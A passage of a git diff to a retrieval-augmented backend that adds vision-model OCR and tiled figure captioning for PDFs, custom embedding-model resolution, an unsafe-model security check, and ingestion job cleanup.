``None`` on empty/failure (non-fatal).""" import httpx data_url = "data:image/png;base64," + base64.b64encode(image_bytes).decode("ascii") @@ -43,33 +110,64 @@ def _caption_one(base_url: str, model: str, image_bytes: bytes, timeout: float) { "role": "user", "content": [ - {"type": "text", "text": _CAPTION_PROMPT}, + {"type": "text", "text": prompt}, {"type": "image_url", "image_url": {"url": data_url}}, ], } ], - "max_tokens": 200, - "temperature": 0.2, + "max_tokens": max_tokens, + # Deterministic by default: transcription must not randomly drop labels. + "temperature": temperature, "stream": False, # Off: thinking models would spend the budget reasoning, returning "". "chat_template_kwargs": {"enable_thinking": False}, } try: - r = httpx.post(f"{base_url}/v1/chat/completions", json = payload, timeout = timeout) + r = httpx.post( + f"{base_url}/v1/chat/completions", + json = payload, + timeout = timeout, + headers = _vision_auth_headers(), + # trust_env=False: base_url is the loopback backend; skip any HTTP(S)_PROXY. + trust_env = False, + ) r.raise_for_status() text = r.json()["choices"][0]["message"]["content"] return text.strip() or None - except Exception: # noqa: BLE001 - a failed caption is non-fatal - logger.debug("caption request failed", exc_info = True) + except Exception: # noqa: BLE001 - a failed vision call is non-fatal + logger.debug("vision request failed", exc_info = True) return None +def _caption_one(base_url: str, model: str, image_bytes: bytes, timeout: float) -> str | None: + return _vision_complete( + base_url, + model, + image_bytes, + prompt = _CAPTION_PROMPT, + timeout = timeout, + max_tokens = config.CAPTION_MAX_TOKENS, + ) + + +def _ocr_one(base_url: str, model: str, image_bytes: bytes, timeout: float) -> str | None: + return _vision_complete( + base_url, + model, + image_bytes, + prompt = _OCR_PROMPT, + timeout = timeout, + max_tokens = config.OCR_MAX_TOKENS, + ) + + def caption_images( images: list, *, endpoint: tuple[str, str] | None = None ) -> dict[int, list[str]]: - """Caption ``ParsedImage`` objects, keyed by 1-based page number; ``{}`` when - disabled, no vision model, or no images. Bounded by ``CAPTION_MAX_IMAGES``.""" - if not config.CAPTION_IMAGES or not images: + """Caption ``ParsedImage`` objects, keyed by 1-based page number; ``{}`` when there + are no images or no vision model. The caller (`ingestion._run`) owns the on/off + policy. Bounded by ``CAPTION_MAX_IMAGES``; each caption passes ``_collapse_runaway``.""" + if not images: return {} ep = endpoint or vision_endpoint() if ep is None: @@ -84,7 +182,50 @@ def caption_images( caption = _caption_one(base_url, model, image_bytes, config.CAPTION_TIMEOUT_S) if caption: page = getattr(img, "page_number", None) or 0 - out.setdefault(int(page), []).append(caption) + out.setdefault(int(page), []).append(_collapse_runaway(caption)) + return out + + +def ocr_pages( + page_pngs: dict[int, bytes], *, endpoint: tuple[str, str] | None = None +) -> dict[int, str]: + """OCR rendered page PNGs (keyed by 1-based page number) to text; ``{}`` when there + is no vision model or no pages. The caller (`ingestion._ocr_scanned_pages`) owns the + on/off policy. Bounded by ``OCR_MAX_PAGES``.""" + if not page_pngs: + return {} + ep = endpoint or vision_endpoint() + if ep is None: + return {} + base_url, model = ep + + out: dict[int, str] = {} + for page_num in sorted(page_pngs)[: config.OCR_MAX_PAGES]: + text = _ocr_one(base_url, model, page_pngs[page_num], config.OCR_TIMEOUT_S) + if text: + out[int(page_num)] = _collapse_runaway(text) + return out + + +def merge_page_captions(captions: dict[int, list[str]]) -> dict[int, list[str]]: + """Merge a page's per-tile captions into one deduped block: drop lines repeated + across overlapping tiles (first kept, order preserved), then ``_collapse_runaway``, + so ``splice_captions`` adds a single figure block per page.""" + out: dict[int, list[str]] = {} + for page, caps in captions.items(): + seen: set[str] = set() + lines: list[str] = [] + for cap in caps: + for line in (cap or "").splitlines(): + stripped = line.strip() + key = stripped.lower() + if not stripped or key in seen: + continue + seen.add(key) + lines.append(stripped) + merged = _collapse_runaway("\n".join(lines)) + if merged.strip(): + out[page] = [merged] return out diff --git a/studio/backend/core/rag/config.py b/studio/backend/core/rag/config.py index 993423683c..2de32a68e4 100644 --- a/studio/backend/core/rag/config.py +++ b/studio/backend/core/rag/config.py @@ -6,8 +6,10 @@ from __future__ import annotations import os +import re -EMBEDDING_MODEL = os.environ.get("RAG_EMBEDDING_MODEL", "unsloth/bge-small-en-v1.5") +DEFAULT_EMBEDDING_MODEL = "unsloth/bge-small-en-v1.5" +EMBEDDING_MODEL = os.environ.get("RAG_EMBEDDING_MODEL", DEFAULT_EMBEDDING_MODEL) # Under bge's 512 limit, leaving headroom for the 2 special tokens (else overflow: # llama-server 500s, ST truncates). Keep <= embedder_max - ~12. CHUNK_TOKENS = int(os.environ.get("RAG_CHUNK_TOKENS", "500")) @@ -17,18 +19,92 @@ TOP_K_DENSE = int(os.environ.get("RAG_TOP_K_DENSE", "30")) TOP_K_HYBRID = int(os.environ.get("RAG_TOP_K_HYBRID", "10")) RRF_K = int(os.environ.get("RAG_RRF_K", "60")) -UPLOAD_EXTS = {".pdf", ".txt", ".md", ".markdown", ".docx", ".html", ".htm"} +# Whole-document context: a thread-attached file under the token budget is injected +# in full (every chunk, in order) instead of top-K retrieval; above it, use retrieval. +THREAD_WHOLE_DOC = os.environ.get("RAG_THREAD_WHOLE_DOC", "1") == "1" +WHOLE_DOC_MAX_TOKENS = int(os.environ.get("RAG_WHOLE_DOC_MAX_TOKENS", "6000")) -# Figure captioning via the loaded vision model; off by default since each caption -# is a model call. MAX_IMAGES bounds per-doc cost. -CAPTION_IMAGES = os.environ.get("RAG_CAPTION_IMAGES", "0") == "1" -CAPTION_MAX_IMAGES = int(os.environ.get("RAG_CAPTION_MAX_IMAGES", "8")) -CAPTION_TIMEOUT_S = float(os.environ.get("RAG_CAPTION_TIMEOUT_S", "30")) +UPLOAD_EXTS = {".pdf", ".txt", ".md", ".markdown", ".docx", ".html", ".htm"} +# Reject uploads larger than this, so one pathological file can't drive unbounded parse +# + vision work at ingest. 0 disables the cap. Default 200 MB. +MAX_UPLOAD_BYTES = int(os.environ.get("RAG_MAX_UPLOAD_BYTES", str(200 * 1024 * 1024))) + +# Extract PDF text as layout-aware Markdown (pymupdf4llm) instead of flat text, so +# tables, headings and lists survive into chunks and retrieval. Falls back to plain +# PyMuPDF text when off, when pymupdf4llm is missing, or when extraction fails. +PDF_MARKDOWN = os.environ.get("RAG_PDF_MARKDOWN", "1") == "1" + +# Figure captioning via the loaded vision model: detected figures are transcribed + +# described so they become searchable. On by default, a no-op without a vision model; +# the chat's "Describe figures & charts" toggle overrides it per upload. +CAPTION_IMAGES = os.environ.get("RAG_CAPTION_IMAGES", "1") == "1" +# Total per-document tile budget (figure-bearing pages are tiled, see below). +CAPTION_MAX_IMAGES = int(os.environ.get("RAG_CAPTION_MAX_IMAGES", "24")) +CAPTION_TIMEOUT_S = float(os.environ.get("RAG_CAPTION_TIMEOUT_S", "60")) +# Larger than a one-line caption since captions transcribe every label. FIGURE_DPI is +# high enough to keep small box/axis labels legible when tiles are rendered. +CAPTION_MAX_TOKENS = int(os.environ.get("RAG_CAPTION_MAX_TOKENS", "768")) +FIGURE_DPI = int(os.environ.get("RAG_FIGURE_DPI", "200")) +# Figure pages are tiled into an overlapping ROWS x COLS grid of high-DPI tiles (plus +# an optional full page), so small labels and every sub-figure are covered without +# exact region detection. MAX_PAGES bounds figure pages; MAX_IMAGES bounds total tiles. +FIGURE_TILE_ROWS = int(os.environ.get("RAG_FIGURE_TILE_ROWS", "2")) +FIGURE_TILE_COLS = int(os.environ.get("RAG_FIGURE_TILE_COLS", "2")) +FIGURE_TILE_OVERLAP = float(os.environ.get("RAG_FIGURE_TILE_OVERLAP", "0.12")) +FIGURE_FULLPAGE = os.environ.get("RAG_FIGURE_FULLPAGE", "1") == "1" +CAPTION_MAX_PAGES = int(os.environ.get("RAG_CAPTION_MAX_PAGES", "4")) + +# Scanned-PDF OCR: a page with little extractable text is rendered and transcribed by +# the vision model so it becomes searchable. Needs a vision model, else skipped (page +# stays empty). MIN_CHARS is the text length below which a page is treated as scanned. +OCR_SCANNED = os.environ.get("RAG_OCR_SCANNED", "1") == "1" +OCR_MIN_CHARS = int(os.environ.get("RAG_OCR_MIN_CHARS", "16")) +OCR_MAX_PAGES = int(os.environ.get("RAG_OCR_MAX_PAGES", "20")) +OCR_DPI = int(os.environ.get("RAG_OCR_DPI", "150")) +OCR_TIMEOUT_S = float(os.environ.get("RAG_OCR_TIMEOUT_S", "60")) +OCR_MAX_TOKENS = int(os.environ.get("RAG_OCR_MAX_TOKENS", "2048")) # Embedder backend. "auto": sentence-transformers on a CUDA/ROCm GPU (torch fp16 # wins bulk indexing), else torch-free GGUF llama-server. Switching backends changes # the vectors, so the index must be rebuilt. EMBED_BACKEND = os.environ.get("RAG_EMBED_BACKEND", "auto") + + +def effective_embedding_model() -> str: + """The embedding model actually in use: the persisted Settings override when + one is stored, else ``EMBEDDING_MODEL`` (env/default). Read at call time so a + Settings change applies without a restart.""" + try: + from utils.embedding_model_settings import get_rag_embedding_model + return get_rag_embedding_model() + except Exception: # noqa: BLE001 - settings store unavailable (tests, early boot) + return EMBEDDING_MODEL + + +def _names_gguf(model: str) -> bool: + """True when "gguf" appears as a whole name segment, so plain substrings + like "bigguf" don't count.""" + return "gguf" in re.split(r"[^a-z0-9]+", model.lower()) + + +def effective_gguf_repo() -> str: + """GGUF repo for the llama-server backend, tracking the effective model. + + An explicit ``RAG_EMBED_GGUF_REPO`` env always wins. Otherwise any custom + model (saved in Settings or via ``RAG_EMBEDDING_MODEL``) maps to its + ``-GGUF`` companion repo (the unsloth convention the default pair follows), + or is used as-is when it already names a GGUF repo. + """ + if "RAG_EMBED_GGUF_REPO" in os.environ: + return EMBED_GGUF_REPO + model = effective_embedding_model() + if model == DEFAULT_EMBEDDING_MODEL: + return EMBED_GGUF_REPO + if _names_gguf(model): + return model + return f"{model}-GGUF" + + # llama-server backend only. F16 over Q8_0: faster (no per-block dequant for this # tiny model) and exact vs fp32, for ~30MB more on disk. EMBED_GGUF_REPO = os.environ.get("RAG_EMBED_GGUF_REPO", "unsloth/bge-small-en-v1.5-GGUF") diff --git a/studio/backend/core/rag/embed_llama_server.py b/studio/backend/core/rag/embed_llama_server.py index c2e4ecc740..46a282c939 100644 --- a/studio/backend/core/rag/embed_llama_server.py +++ b/studio/backend/core/rag/embed_llama_server.py @@ -55,15 +55,20 @@ class LlamaServerBackend: self._port: int | None = None self._stdout_lines: list[str] = [] self._stdout_thread: threading.Thread | None = None + # No lock: probes are idempotent (a duplicate 1-text encode is benign) + # and dim() -> encode() -> _ensure_ready() -> _resolve_model_path() can + # re-enter on a mid-probe model change, which would self-deadlock a + # non-reentrant lock held across the probe. self._dim: int | None = None - self._dim_lock = threading.Lock() self._model_path: str | None = None + # Effective GGUF repo the cached path/dim belong to; a Settings change + # makes it stale, forcing a re-resolve + respawn (see _ensure_ready). + self._model_repo: str | None = None self._binary: str | None = None # Sticky after an auto GPU start fails: later spawns stay on CPU. self._force_cpu = False - # Pooled client; requests pass full URLs, so a respawn's new port needs - # no rebuild. - self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S) + # Pooled client (full URLs per request survive a respawn); trust_env=False skips HTTP(S)_PROXY. + self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S, trust_env = False) atexit.register(self._shutdown) @property @@ -115,24 +120,77 @@ class LlamaServerBackend: "RAG_EMBED_BACKEND=llama-server requires an embeddings-capable build" ) + @staticmethod + def _resolve_local_gguf(model: str) -> str | None: + """A custom model may be a local .gguf file or a directory holding one; + resolve it without the hub. None when the value is not a local path.""" + p = Path(model).expanduser() + if p.is_file() and p.suffix.lower() == ".gguf": + return str(p) + if p.is_dir(): + files = [ + f + for f in p.iterdir() + if f.suffix.lower() == ".gguf" and "mmproj" not in f.name.lower() + ] + if not files: + raise RuntimeError(f"no .gguf file found in local model dir {model!r}") + variant = config.EMBED_GGUF_VARIANT.lower() + match = [f for f in files if variant in f.name.lower()] or files + return str(sorted(match, key = lambda f: len(f.name))[0]) + return None + def _resolve_model_path(self) -> str: """Download (or cache-hit) the variant-matching, non-mmproj GGUF embedder, - returning its local path.""" - if self._model_path is not None: + returning its local path. Re-resolves when the effective repo changed (a + custom model was saved in Settings).""" + # Captured once: if the setting changes mid-download, the path must stay + # tagged with the repo it was resolved FOR, so _current() sees the new + # setting as stale and respawns instead of serving the old model. + desired = config.effective_gguf_repo() + if self._model_path is not None and self._model_repo == desired: + return self._model_path + local = self._resolve_local_gguf(config.effective_embedding_model()) + if local is not None: + self._model_path = local + self._model_repo = desired + self._dim = None return self._model_path from huggingface_hub import hf_hub_download, list_repo_files - repo = config.EMBED_GGUF_REPO token = os.environ.get("HF_TOKEN") or None - files = [f for f in list_repo_files(repo, token = token) if f.lower().endswith(".gguf")] - files = [f for f in files if "mmproj" not in f.lower()] + # A custom model derives its "-GGUF" companion repo; when that guess does + # not exist, the model repo itself may host the .gguf files. + repo = desired + candidates = [repo] + model = config.effective_embedding_model() + if model != repo: + candidates.append(model) + files: list[str] = [] + errors: list[str] = [] + for candidate in candidates: + try: + files = [ + f + for f in list_repo_files(candidate, token = token) + if f.lower().endswith(".gguf") and "mmproj" not in f.lower() + ] + except Exception as e: # noqa: BLE001 - missing/gated repo -> next candidate + errors.append(f"{candidate!r}: {e}") + continue + if files: + repo = candidate + break + errors.append(f"{candidate!r}: no .gguf files") if not files: - raise RuntimeError(f"no .gguf file found in embedder repo {repo!r}") + raise RuntimeError("no .gguf embedder found; tried " + "; ".join(errors)) variant = config.EMBED_GGUF_VARIANT.lower() match = [f for f in files if variant in f.lower()] or files filename = sorted(match, key = len)[0] logger.info("resolving GGUF embedder %s/%s", repo, filename) self._model_path = hf_hub_download(repo_id = repo, filename = filename, token = token) + self._model_repo = desired + self._dim = None return self._model_path # Min free VRAM (MiB) for the embedder; below this, auto stays on CPU. @@ -305,7 +363,8 @@ class LlamaServerBackend: logger.error("llama-server embedder exited early (code %s)", code) return False try: - if httpx.get(url, timeout = 2.0).status_code == 200: + # trust_env=False: a proxy that 503s 127.0.0.1 must not block this probe. + if httpx.get(url, timeout = 2.0, trust_env = False).status_code == 200: return True except (*_TRANSPORT_ERRORS, httpx.TimeoutException): pass @@ -316,13 +375,19 @@ class LlamaServerBackend: def _process_alive(self) -> bool: return self._process is not None and self._process.poll() is None + def _current(self) -> bool: + """Alive AND serving the effective repo (a Settings model change makes a + live server stale).""" + return self._process_alive() and self._model_repo == config.effective_gguf_repo() + def _ensure_ready(self) -> None: - """Guarantee a live server, (re)spawning if needed. Double-checked so the - alive path takes no lock; self-heals after the chat reaper kills us.""" - if self._process_alive(): + """Guarantee a live server on the effective model, (re)spawning if needed. + Double-checked so the current path takes no lock; self-heals after the + chat reaper kills us and re-resolves after a Settings model change.""" + if self._current(): return with self._lifecycle_lock: - if self._process_alive(): + if self._current(): return self._kill_process() self._spawn() @@ -424,14 +489,18 @@ class LlamaServerBackend: return arr def dim(self, *, model_name = None) -> int: - """Embedding width, probed once via a 1-text encode and cached.""" - if self._dim is not None: - return self._dim - with self._dim_lock: - if self._dim is None: - vec = self.encode(["x"], normalize = False) - self._dim = int(vec.shape[1]) - return self._dim + """Embedding width, probed via a 1-text encode and cached per model + (_resolve_model_path clears it when the effective repo changes). + Unlocked: concurrent probes are benign, and locking would deadlock when + the probe's encode respawns onto a changed model (see __init__).""" + self._ensure_ready() + cached = self._dim + if cached is not None: + return cached + vec = self.encode(["x"], normalize = False) + width = int(vec.shape[1]) + self._dim = width + return width def warm(self, *, model_name = None) -> None: """Start the server and probe dim off the request path.""" diff --git a/studio/backend/core/rag/embeddings.py b/studio/backend/core/rag/embeddings.py index 4e76e4fcaa..47d26209b4 100644 --- a/studio/backend/core/rag/embeddings.py +++ b/studio/backend/core/rag/embeddings.py @@ -46,17 +46,117 @@ def _device() -> str: return _TORCH_DEVICE.get(get_device(), "cpu") +_torchao_stub_done = False + + +def _install_torchao_stub_once() -> None: + """Neutralize torchao before importing sentence-transformers. On Windows ROCm, + torchao (pulled in by transformers.quantizers) imports an absent c10d backend + and aborts, dropping the embedder to llama-server. Workers stub it too; the + embedder runs in the main process. No-op elsewhere; runs once under ``_lock``.""" + global _torchao_stub_done + if _torchao_stub_done: + return + _torchao_stub_done = True + from core._torchao_stub import install_torchao_windows_rocm_stub + + install_torchao_windows_rocm_stub() + + +class UnsafeEmbeddingModelError(RuntimeError): + """Raised when the embedding model repo is flagged unsafe. A distinct type so the + llama-server fallback paths re-raise it instead of masking a security block as a + routine ST failure.""" + + +def _ambient_hf_token() -> str | None: + """The HF token the loader itself would use (HF_TOKEN env or the cached login), so + the scan can reach a gated/private repo instead of failing open. None if unavailable.""" + try: + from huggingface_hub import get_token + return get_token() + except Exception: + return None + + +def _st_module_subdirs(name: str, token: str | None) -> tuple[str, ...]: + """The module directories a SentenceTransformer load reads weights from, taken from + the repo's ``modules.json`` (each module's non-empty ``path``, e.g. ``0_Transformer``). + ST deserializes ``pytorch_model.bin`` from these dirs, so they are load roots for the + security scan: a flagged pickle directly under one must block. Returns () on any + failure (no modules.json, offline, malformed) so the guard never bricks the embedder. + """ + try: + import json + + from utils.paths import is_local_path + + if is_local_path(name): + from pathlib import Path + from utils.paths import normalize_path + + path = Path(normalize_path(name)).expanduser() / "modules.json" + if not path.is_file(): + return () + data = json.loads(path.read_text()) + else: + from huggingface_hub import hf_hub_download + from huggingface_hub.utils import EntryNotFoundError + + try: + local = hf_hub_download(name, "modules.json", token = token or None) + except EntryNotFoundError: + return () + data = json.loads(open(local).read()) + subdirs = [] + for module in data or (): + sub = str((module or {}).get("path", "")).strip().strip("/") + if sub: + subdirs.append(sub) + return tuple(dict.fromkeys(subdirs)) + except Exception: + return () + + +def _guard_model_security(name: str) -> None: + """Refuse to load a repo HF flagged as unsafe: a poisoned pickle deserializes inside + SentenceTransformer regardless of trust_remote_code. Defense in depth behind the + /settings gate (a name can also arrive via env/default); local paths and unreachable + scans fail open inside evaluate_file_security. Never bricks the embedder on a gate error. + """ + try: + from utils.security import evaluate_file_security, security_load_subdirs + + token = _ambient_hf_token() + # Union the audio-model load roots with the ST module dirs so a flagged pickle + # directly under a Transformer module dir (0_Transformer/) blocks instead of + # passing as an unreferenced nested shard. + load_subdirs = tuple( + dict.fromkeys((*security_load_subdirs(name, token), *_st_module_subdirs(name, token))) + ) + blocked = evaluate_file_security(name, hf_token = token, load_subdirs = load_subdirs).blocked + except Exception: + return + if blocked: + raise UnsafeEmbeddingModelError( + f"Embedding model {name!r} is flagged as unsafe by Hugging Face's security " + "scan; refusing to load. Set a different RAG embedding model." + ) + + def _get(model_name: str | None = None): """Cached SentenceTransformer, (re)loading on a name change. Loaded in fp16 for a ~1.5x speedup at negligible accuracy loss.""" global _model, _name - name = model_name or config.EMBEDDING_MODEL + name = model_name or config.effective_embedding_model() with _lock: if _model is None or _name != name: + _install_torchao_stub_once() from sentence_transformers import SentenceTransformer device = _device() logger.info("loading embedding model %s on %s", name, device) + _guard_model_security(name) _model = SentenceTransformer( name, device = device, model_kwargs = {"torch_dtype": "float16"} ) @@ -141,6 +241,8 @@ class _SentenceTransformersBackend: ): try: return _st_encode(texts, model_name = model_name, normalize = normalize) + except UnsafeEmbeddingModelError: + raise # a security block must hard-fail, not fall back to llama-server except Exception as st_err: # noqa: BLE001 - runtime ST/CUDA encode failure # ST loaded but this encode blew up; swap the process to the llama-server # embedder (so later encodes stay in one space) and retry. @@ -204,6 +306,8 @@ def _build_st_backend_or_fallback(): try: backend.warm(model_name = None) return backend + except UnsafeEmbeddingModelError: + raise # a security block must hard-fail, not fall back to llama-server except Exception as st_err: # noqa: BLE001 - any ST/torch import or load failure fallback = _try_make_llama_backend() if fallback is None: @@ -272,6 +376,37 @@ def _reset_backend() -> None: _backend_key = None +def active_backend_is_llama() -> bool: + """True when this process actually embeds via the llama-server (GGUF) backend. + + Reflects the ACTUAL built backend once one exists: an ``auto`` install that + resolves to sentence-transformers but then falls back to llama-server at + runtime (``_build_st_backend_or_fallback`` on a torch/CUDA load failure, or + ``_switch_to_llama_fallback`` on an encode failure) loads only inert GGUF, so + callers gating on the ST pickle must see llama here. Before any backend is + built, defers to the resolver (``auto`` -> ``_resolve_auto()``, else the raw + key) exactly as a fresh process would. Never raises: a backend probe must not + block saving a model.""" + try: + with _backend_lock: + backend = _backend + if backend is not None: + # A backend exists: report what it ACTUALLY is. A concrete + # sentence-transformers backend must return False even if the + # resolver would now pick llama, so its pickle stays gated. If the + # llama import fails we cannot be llama, so fall to the safe False. + try: + from .embed_llama_server import LlamaServerBackend + except Exception: # noqa: BLE001 - llama plumbing import must never block + return False + return isinstance(backend, LlamaServerBackend) + raw = (config.EMBED_BACKEND or "auto").strip().lower() + key = _resolve_auto() if raw in _AUTO_ALIASES else raw + return key in _LLAMA_ALIASES + except Exception: # noqa: BLE001 - a backend probe must never block saving + return False + + def warm(model_name: str | None = None) -> None: """Eagerly load the embedder so the first real request isn't slow.""" _get_backend().warm(model_name = model_name) diff --git a/studio/backend/core/rag/ingestion.py b/studio/backend/core/rag/ingestion.py index c0c9a9f656..cba076f1be 100644 --- a/studio/backend/core/rag/ingestion.py +++ b/studio/backend/core/rag/ingestion.py @@ -26,6 +26,11 @@ _jobs_lock = threading.Lock() _EMBED_BATCH = 64 # bounds peak memory +# Poll with a timeout so the generator wakes periodically to detect a gone +# client or a terminal job whose worker died without the None sentinel. +_SSE_POLL_SECONDS = 1.0 +_TERMINAL_JOB_STATUSES = {"completed", "failed"} + def _sha256_file(path: str) -> str: h = hashlib.sha256() @@ -94,25 +99,122 @@ def _embed_all(texts: list[str], model_name: str | None): return vectors +def _ocr_scanned_pages( + pages: list, + stored_path: str, + conn, + job_id: str, + ocr: bool | None = None, +) -> tuple[list, set[int]]: + """Replace text on near-empty (scanned/image-only) PDF pages with vision-model OCR + so image PDFs become searchable. ``ocr`` overrides ``config.OCR_SCANNED`` per upload + (``None`` = config default); no-op without scanned pages or a vision model. OCR'd + pages have no text layer, so no preview highlight regions, but stay searchable. + Returns ``(pages, ocred)``: new ``Page`` objects for OCR'd pages (originals + otherwise) and the set of page numbers actually transcribed.""" + if not (config.OCR_SCANNED if ocr is None else ocr): + return pages, set() + scanned = [ + p.page_number + for p in pages + if p.page_number is not None and len((p.text or "").strip()) < config.OCR_MIN_CHARS + ] + if not scanned or captioner.vision_endpoint() is None: + return pages, set() + if len(scanned) > config.OCR_MAX_PAGES: + logger.warning( + "OCR: %d scanned pages exceed OCR_MAX_PAGES=%d; pages past the cap stay " + "untranscribed (raise RAG_OCR_MAX_PAGES to cover them)", + len(scanned), + config.OCR_MAX_PAGES, + ) + scanned = scanned[: config.OCR_MAX_PAGES] + _progress(conn, job_id, "ocr", 0.25) + page_pngs = parsers.render_pdf_pages(stored_path, scanned, dpi = config.OCR_DPI) + texts = captioner.ocr_pages(page_pngs) + if not texts: + return pages, set() + + from .parsers import Page + + out: list = [] + ocred: set[int] = set() + for page in pages: + text = texts.get(page.page_number) + if text: + original = (page.text or "").strip() + merged = text if not original or original in text else f"{original}\n\n{text}" + out.append(Page(text = merged, page_number = page.page_number, char_count = len(merged))) + ocred.add(page.page_number) + else: + out.append(page) + return out, ocred + + +def _replace_old_document(conn, replaces: tuple[str, str | None] | None, keep_path: str) -> None: + """Drop the document this ingestion replaced (stale embedder / empty prior + ingest), called only after the replacement completed successfully.""" + if replaces is None: + return + old_id, old_path = replaces + try: + store.delete_document(conn, old_id) + _remove_upload(old_path, keep_path = keep_path) + except Exception: # noqa: BLE001 - the new document is already live + logger.warning("failed to remove replaced document %s", old_id, exc_info = True) + + def _run( - job_id: str, document_id: str, scope: str, stored_path: str, model_name: str | None + job_id: str, + document_id: str, + scope: str, + stored_path: str, + model_name: str | None, + ocr: bool | None = None, + caption: bool | None = None, + replaces: tuple[str, str | None] | None = None, ) -> None: conn = rag_db.get_connection() try: _progress(conn, job_id, "parsing", 0.1) pages = parsers.parse(stored_path) - if config.CAPTION_IMAGES and stored_path.lower().endswith(".pdf"): - # Caption figures, splice into page text (no-op without a vision model). + is_pdf = stored_path.lower().endswith(".pdf") + ocred: set[int] = set() + if is_pdf: + pages, ocred = _ocr_scanned_pages(pages, stored_path, conn, job_id, ocr = ocr) + caption_on = config.CAPTION_IMAGES if caption is None else caption + # Skip all figure work (PDF rasterization included) without a vision model. + if caption_on and is_pdf and captioner.vision_endpoint() is not None: + # Tile figure pages, transcribe+describe each tile, then merge/dedup/splice + # into the page text so small labels and every sub-figure are captured. try: - figures = parsers.render_pdf_figures( - stored_path, max_figures = config.CAPTION_MAX_IMAGES + fig_pages = parsers.pages_with_figures( + stored_path, + max_pages = config.CAPTION_MAX_PAGES, + # Skip only pages OCR actually transcribed (it covers them whole); a + # scanned figure page past the OCR cap or with empty OCR still tiles. + exclude_pages = ocred, + ) + tiles = ( + parsers.render_pdf_figure_tiles( + stored_path, + fig_pages, + dpi = config.FIGURE_DPI, + rows = config.FIGURE_TILE_ROWS, + cols = config.FIGURE_TILE_COLS, + overlap = config.FIGURE_TILE_OVERLAP, + fullpage = config.FIGURE_FULLPAGE, + max_tiles = config.CAPTION_MAX_IMAGES, + ) + if fig_pages + else [] ) except Exception: - logger.warning("figure rendering failed for job %s", job_id, exc_info = True) - figures = [] - if figures: - _progress(conn, job_id, "captioning", 0.2) - captions = captioner.caption_images(figures) + logger.warning("figure tiling failed for job %s", job_id, exc_info = True) + tiles = [] + if tiles: + _progress(conn, job_id, "captioning", 0.28) + captions = captioner.merge_page_captions(captioner.caption_images(tiles)) pages = captioner.splice_captions(pages, captions) _progress(conn, job_id, "chunking", 0.3) @@ -125,6 +227,7 @@ def _run( ) if not chunks: store.set_document_status(conn, document_id, "completed", num_chunks = 0) + _replace_old_document(conn, replaces, stored_path) _set_job(conn, job_id, status = "completed", stage = "done", progress = 1.0) _emit(job_id, {"type": "complete", "num_chunks": 0}) return @@ -145,6 +248,7 @@ def _run( _progress(conn, job_id, "storing", 0.9) store.add_chunks(conn, scope, document_id, chunks, vectors, regions) store.set_document_status(conn, document_id, "completed", num_chunks = len(chunks)) + _replace_old_document(conn, replaces, stored_path) _set_job(conn, job_id, status = "completed", stage = "done", progress = 1.0) _emit(job_id, {"type": "complete", "num_chunks": len(chunks)}) @@ -170,6 +274,8 @@ def start_ingestion( *, project_id: str | None = None, model_name: str | None = None, + ocr: bool | None = None, + caption: bool | None = None, ) -> tuple[str, str]: """Create the document + job rows and spawn the worker, returning ``(document_id, job_id)``. A duplicate content hash in this scope returns the @@ -178,18 +284,49 @@ def start_ingestion( if ext not in config.UPLOAD_EXTS: raise ValueError(f"unsupported file type: {ext}") + # Reclaim queues for finished jobs so the registry stays bounded. + _reap_finished_jobs() + sha = _sha256_file(stored_path) conn = rag_db.get_connection() try: + effective_model = model_name or config.effective_embedding_model() + # (old_document_id, old_stored_path) replaced by this upload; deleted by + # the worker only after the replacement completes, so a failed re-index + # never destroys the still-searchable original. + replaces: tuple[str, str | None] | None = None existing = store.document_by_hash(conn, scope, sha) if existing is not None: - job_id = _new_job(conn, existing, scope, status = "completed", progress = 1.0) - _remove_upload(stored_path) - with _jobs_lock: - _jobs[job_id] = queue.Queue() - _emit(job_id, {"type": "complete", "num_chunks": 0, "deduped": True}) - _emit(job_id, None) - return existing, job_id + doc = store.get_document(conn, existing) + empty_completed = ( + doc is not None and doc.get("status") == "completed" and not doc.get("num_chunks") + ) + # Vectors from a different embedder are stale; re-uploading must + # re-index, not dedupe. NULL (legacy rows) is assumed current. Only + # completed rows are replaceable: a pending/running duplicate has a + # live worker whose writes must not land on a deleted document. + stale_model = ( + doc is not None + and doc.get("status") == "completed" + and doc.get("embedding_model") is not None + and doc.get("embedding_model") != effective_model + ) + if empty_completed or stale_model: + # A prior ingest of identical bytes yielded zero chunks (e.g. a scanned + # PDF uploaded before a vision model loaded), or was embedded with a + # different model. Re-ingest, don't dedupe. + replaces = (existing, doc.get("stored_path")) + else: + job_id = _new_job(conn, existing, scope, status = "completed", progress = 1.0) + _remove_upload(stored_path) + with _jobs_lock: + _jobs[job_id] = queue.Queue() + _emit( + job_id, + {"type": "complete", "num_chunks": doc.get("num_chunks") or 0, "deduped": True}, + ) + _emit(job_id, None) + return existing, job_id for failed in store.failed_documents_by_hash(conn, scope, sha): store.delete_document(conn, failed["id"]) _remove_upload(failed.get("stored_path"), keep_path = stored_path) @@ -204,6 +341,7 @@ def start_ingestion( project_id = project_id, status = "pending", stored_path = stored_path, + embedding_model = effective_model, ) job_id = _new_job(conn, document_id, scope) finally: @@ -213,7 +351,10 @@ def start_ingestion( _jobs[job_id] = queue.Queue() threading.Thread( target = _run, - args = (job_id, document_id, scope, stored_path, model_name), + # effective_model (not the raw model_name) pins the embedder for the + # whole job: a Settings change mid-ingestion must not switch tokenizer + # or embedder between batches of one document. + args = (job_id, document_id, scope, stored_path, effective_model, ocr, caption, replaces), daemon = True, ).start() return document_id, job_id @@ -248,26 +389,99 @@ def _new_job( return job_id +def _reap_finished_jobs() -> None: + """Drop per-job queues whose DB row already reached a terminal status. + + Otherwise removed only by ``job_events`` after the ``None`` sentinel, so a + caller that polls ``/jobs/{id}`` instead of streaming would grow ``_jobs`` + forever. Safe while streaming: ``job_events`` holds its queue reference. + """ + with _jobs_lock: + job_ids = list(_jobs.keys()) + for jid in job_ids: + row = get_job_status(jid) + if row is not None and row.get("status") in _TERMINAL_JOB_STATUSES: + with _jobs_lock: + _jobs.pop(jid, None) + + def job_events(job_id: str): - """Yield job events for SSE; ends when the worker signals completion.""" + """Yield job events for SSE; ends when the worker signals completion. + + Timed ``get`` so the generator can't block forever: it wakes to heartbeat, + to notice a disconnected client, and to stop on a terminal DB status (a hard + worker death that skipped the ``None`` sentinel). Drops the queue only on a + terminal exit, never on an early client disconnect. + + It deliberately does *not* end on idle alone: a long silent stage (e.g. + embedding a large doc) is not a failure, and ending there would send + ``[DONE]`` with the row still pending, which the client treats as 